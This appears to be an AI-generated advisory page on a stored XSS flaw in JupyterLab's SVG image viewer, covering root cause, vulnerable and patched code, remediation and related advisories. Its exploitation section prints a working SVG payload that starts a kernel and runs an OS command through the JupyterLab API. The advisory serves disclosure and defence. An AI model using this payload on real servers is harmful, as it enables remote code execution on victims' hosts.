CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



GHSA-GX64-GJ6P-PC4C

GHSA-GX64-GJ6P-PC4C: Stored Cross-Site Scripting in JupyterLab Image Viewer

Amit Schendel
Amit Schendel
Senior Security Researcher

Jul 23, 2026·7 min read·6 visits

Executive Summary (TL;DR)

Stored XSS in JupyterLab's image viewer allows arbitrary JavaScript execution and host takeover when a user opens a malicious SVG image in a new browser tab.

A stored Cross-Site Scripting (XSS) vulnerability exists in JupyterLab's Image Viewer component when processing Scalable Vector Graphics (SVG) images. Due to the lingering lifecycle of generated object URLs and the inheritance of the application origin by client-side Blobs, an attacker can execute arbitrary JavaScript within the victim's active session. This execution occurs when a user views an SVG file in the JupyterLab image viewer, right-clicks the image, and selects 'Open image in new tab'.

Vulnerability Overview

JupyterLab is an interactive development environment designed for working with notebooks, code, and data. The application features a built-in image viewer designed to render various image formats, including Scalable Vector Graphics (SVG). This viewer operates within the main application context, handling file access and rendering via standard web components.

Because the image viewer displays content uploaded or generated by users, it constitutes an attack surface. When rendering SVGs, the viewer must manage XML-formatted vector data that can natively contain interactive scripts. The vulnerability tracked as GHSA-GX64-GJ6P-PC4C arises from the insecure management of these script-bearing assets within the application Document Object Model (DOM).

An attacker can exploit this surface by placing a crafted SVG file inside a shared workspace or directory. When another user views this image and interacts with it using the standard browser context menu, the execution of arbitrary JavaScript occurs within the secure origin of the JupyterLab server. This allows the attacker to bypass the browser's origin-based security boundaries completely.

Root Cause Analysis

The core of the vulnerability lies in the combination of the HTML5 File API object lifetime model and browser security policies regarding Scalable Vector Graphics. To render an image file without base64 encoding, the image viewer component creates a DOM-allocated Blob containing the raw file data. It then generates a corresponding URI using URL.createObjectURL(blob), assigning this reference directly to the src attribute of an HTMLImageElement.

According to the W3C File API specification, any URI created using URL.createObjectURL() inherits the host origin of the creator document. In a standard deployment, this means the generated object URL (e.g., blob:http://localhost:8888/<uuid>) belongs entirely to the JupyterLab server's origin. When the browser renders this object URL within an <img> tag, it applies standard rendering restrictions that strictly block script execution inside SVGs.

However, a design flaw exists in how the object URL is maintained. The image viewer leaves the blob: URL registered in memory indefinitely during the widget's active lifecycle. If a user utilizes the native browser context menu to select 'Open image in new tab', the browser changes the rendering context. Instead of treating the SVG as a sandboxed image source, the browser loads the active object URL as a standalone top-level document, lifting the script execution restrictions and running any embedded JavaScript under the JupyterLab host origin.

Code Analysis

Prior to the implementation of the fix, the ImageViewer widget handled URL management in packages/imageviewer/src/widget.ts by replacing the old object URL only when a new image was loaded or when the component was disposed. This design meant the generated blob: URL remained valid and accessible for as long as the user kept the image viewer tab open within the JupyterLab interface.

// VULNERABLE CODE PATH
const oldurl = this._img.src || '';
let content = context.model.toString();
if (cm.format === 'base64') {
  this._img.src = `data:${this._mimeType};base64,${content}`;
} else {
  const a = new Blob([content], { type: this._mimeType });
  this._img.src = URL.createObjectURL(a); // Generates persistent object URL
}
URL.revokeObjectURL(oldurl); // Only revokes the previous URL, keeping the current one active

The patch addresses this lifecycle flaw by monitoring the rendering process and immediately revoking the object URL once the image loads. By binding event listeners to the load and error events of the HTMLImageElement, the application ensures the object URL is invalidated immediately after the browser finishes reading the raw blob data into memory.

// PATCHED CODE PATH
const blob = new Blob([content], { type: this._mimeType });
const objectUrl = URL.createObjectURL(blob);
this._objectUrl = objectUrl;
 
const revokeObjectUrl = () => {
  // Clean up listeners immediately
  this._img.removeEventListener('load', revokeObjectUrl);
  this._img.removeEventListener('error', revokeObjectUrl);
  if (this._objectUrl === objectUrl) {
    this._objectUrl = null;
  }
  // Revoke URL so it can no longer be requested in a new tab
  URL.revokeObjectURL(objectUrl);
};
 
this._img.addEventListener('load', revokeObjectUrl);
this._img.addEventListener('error', revokeObjectUrl);
this._img.src = objectUrl;

This remediation strategy is complete. Because the browser loads the image data into memory during the initial rendering step, the image remains visible to the user even after the object URL is revoked. However, if the user attempts to load the same URL in a new browser tab via 'Open image in new tab', the browser makes a new HTTP-style request to a URI that no longer exists, resulting in a network error and preventing the execution of the embedded script.

Exploitation Methodology

To execute this attack, an adversary must construct an SVG payload containing functional JavaScript. Because SVG is an XML-based format, arbitrary JavaScript can be defined using <script> tags wrapped in character data (CDATA) blocks or direct inline event handlers. The payload is crafted to target the JupyterLab REST API to achieve remote code execution.

<svg xmlns="http://www.w3.org/2000/svg" width="200" height="200">
  <rect width="100%" height="100%" fill="blue" />
  <script type="text/javascript">
    <![CDATA[
      (async function() {
        // Exploitation of the active session context
        const res = await fetch('/api/sessions', {
          method: 'POST',
          body: JSON.stringify({
            kernel: { name: 'python3' },
            name: 'ExploitSession',
            path: 'exploit.ipynb',
            type: 'notebook'
          })
        });
        const session = await res.json();
        const ws = new WebSocket(`ws://${window.location.host}/api/kernels/${session.kernel.id}/channels`);
        ws.onopen = () => {
          ws.send(JSON.stringify({
            header: { msg_id: 'cmd', msg_type: 'execute_request' },
            content: { code: "import os; os.system('touch /tmp/compromised')" }
          }));
        };
      })();
    ]]>
  </script>
</svg>

The target user must have existing access to the JupyterLab environment where the malicious file is hosted. The attacker uploads the file to a shared workspace or directory. Once the victim views the file and opens it in a new tab, the payload executes. No secondary authentication or elevated privileges are required to trigger the exploit, making the attack highly reliable once the initial vector is accessed.

Impact Assessment

The impact of this vulnerability is severe. Because the executed JavaScript inherits the active origin of the JupyterLab deployment, the script operates with the full authority of the authenticated victim. The attacker's payload can execute arbitrary commands on the underlying server host by interacting with the JupyterLab kernel and terminal APIs.

Furthermore, the script can access any data stored within the JupyterLab workspace. This includes sensitive credentials, source code, dataset parameters, and environmental variables. The attacker can exfiltrate this information to an external server under their control by issuing cross-origin resource sharing (CORS) requests or utilizing image-based exfiltration techniques.

Because the vulnerability leads directly to arbitrary code execution on the host server hosting JupyterLab, it has been assigned a CVSS score of 8.2 (High). The attack is particularly damaging in collaborative research or data science environments where files are regularly shared among multiple users on a single shared JupyterLab infrastructure.

Remediation & Mitigation

To completely mitigate this security risk, administrators and developers must upgrade the JupyterLab server installation to a patched release. The fixes are backported and available in versions v4.5.10 and v4.6.2 of the application.

If upgrading is not immediately feasible, organizations can implement a Content Security Policy (CSP) header to prevent the execution of scripts within inline documents. Specifically, configuring the sandbox directive or restricting the script-src and object-src policies can help block script parsing within the browser engine.

Additionally, access control policies should be enforced to prevent untrusted users from uploading arbitrary SVG files to shared directories. Security teams should also advise users against opening images in standalone browser tabs when working with files sourced from external or unverified origins.

Official Patches

Project JupyterRepository Advisory with detailed mitigation path
Project JupyterFix Pull Request 19184

Fix Analysis (2)

Technical Appendix

CVSS Score
8.2/ 10
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H

Affected Systems

JupyterLab Server deployments

Affected Versions Detail

Product
Affected Versions
Fixed Version
JupyterLab
Project Jupyter
< 4.5.104.5.10
JupyterLab
Project Jupyter
>= 4.6.0, < 4.6.24.6.2
AttributeDetail
CWE IDCWE-79
Attack VectorNetwork (AV:N)
CVSS v3.18.2 (High)
Exploit StatusProof-of-Concept
ImpactStored XSS / Remote Command Execution
CISA KEV StatusNot Listed

MITRE ATT&CK Mapping

T1189Drive-by Compromise
Initial Access
T1203Exploitation for Client Execution
Execution
CWE-79
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

The application does not properly neutralize input inside SVG XML structures, enabling script execution under the parent domain context when rendered outside of standard image elements.

Known Exploits & Detection

GitHub Security AdvisoryProof of concept details detailing how the SVG is embedded with XML JS tags to make calls back to /api/kernels.

References & Sources

  • [1]GitHub Security Advisory GHSA-GX64-GJ6P-PC4C
  • [2]JupyterLab release v4.5.10
  • [3]JupyterLab release v4.6.2

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•37 minutes ago•GHSA-H5V5-8746-G7MM
6.0

GHSA-H5V5-8746-G7MM: JupyterLab PluginManager Lock-Rule Enforcement Bypass

JupyterLab's PluginManager contains an authorization bypass vulnerability allowing authenticated users to modify the state of locked extensions or plugins. Although the frontend user interface visually locks and disables toggle components for administrative configurations, the backend API fails to perform robust validation. Standard users can craft direct HTTP API requests to modify plugin states, completely bypassing administrative restrictions.

Amit Schendel
Amit Schendel
3 views•5 min read
•about 2 hours ago•GHSA-89VP-JRXV-24W8
6.1

GHSA-89VP-JRXV-24W8: Extension Manager Blocklist Canonicalization Bypass in JupyterLab

GHSA-89VP-JRXV-24W8 is a security bypass vulnerability in the JupyterLab Extension Manager. Authenticated users can install unauthorized or blocklisted extension packages from PyPI. This bypass occurs due to improper canonicalization of package names and the incorrect synchronous invocation of an asynchronous permission-checking method.

Amit Schendel
Amit Schendel
7 views•5 min read
•about 4 hours ago•GHSA-PPPJ-HQ3G-57PJ
8.6

GHSA-pppj-hq3g-57pj: DOM-based Cross-Site Scripting (XSS) via Malicious Settings Override in JupyterLab

JupyterLab versions 4.5.x and 4.6.x prior to 4.5.10 and 4.6.2 are vulnerable to a DOM-based Cross-Site Scripting (XSS) vulnerability. An attacker can craft a malicious overrides.json file that executes arbitrary JavaScript inside the victim's browser session. This can occur either automatically if the file is pre-planted on a multi-tenant filesystem, or via user interaction when importing settings.

Alon Barad
Alon Barad
4 views•5 min read
•about 5 hours ago•GHSA-9CMH-XCQM-5HQR
5.8

GHSA-9cmh-xcqm-5hqr: Cross-Tenant Module-Cache Poisoning in n8n JS Task Runner

A module-cache poisoning vulnerability exists in the n8n JavaScript task runner. In multi-tenant or multi-user n8n deployments, custom code executed inside Code nodes shares a single Node.js process and memory space. If custom module loading is enabled via configuration, an authorized user can dynamically patch (monkey-patch) globally cached modules. Subsequent executions of workflows by other tenants or users that load the same module will receive the poisoned reference, resulting in cross-tenant data exposure, credential hijacking, or integrity compromise.

Alon Barad
Alon Barad
6 views•6 min read
•about 6 hours ago•GHSA-JQWR-VX3P-R266
5.8

GHSA-JQWR-VX3P-R266: SQL Injection in n8n PostgresTrigger Node

An authenticated SQL injection vulnerability (CWE-89) in n8n's PostgresTrigger node allows users with workflow creation or modification privileges to inject arbitrary SQL statements. Because n8n dynamically constructs database administration and event subscription queries by directly interpolating user-controlled parameters—such as PostgreSQL channel, function, and trigger names—without sanitization or identifier quoting, attackers can execute arbitrary queries within the context of the configured database credentials, potentially leading to unauthorized data exposure, system tampering, or remote code execution.

Alon Barad
Alon Barad
5 views•7 min read
•about 7 hours ago•GHSA-652Q-GVQ3-74QV
5.3

GHSA-652q-gvq3-74qv: SQL Injection in n8n Snowflake Node via Unparameterized Expression Interpolation

A SQL Injection vulnerability exists in the n8n Snowflake node's executeQuery operation. The vulnerability is caused by improper neutralization of expressions interpolated directly into database query strings. When raw Snowflake queries are built using untrusted external data without parameterization, an attacker can execute arbitrary SQL commands on the subsequent Snowflake database instance.

Alon Barad
Alon Barad
5 views•7 min read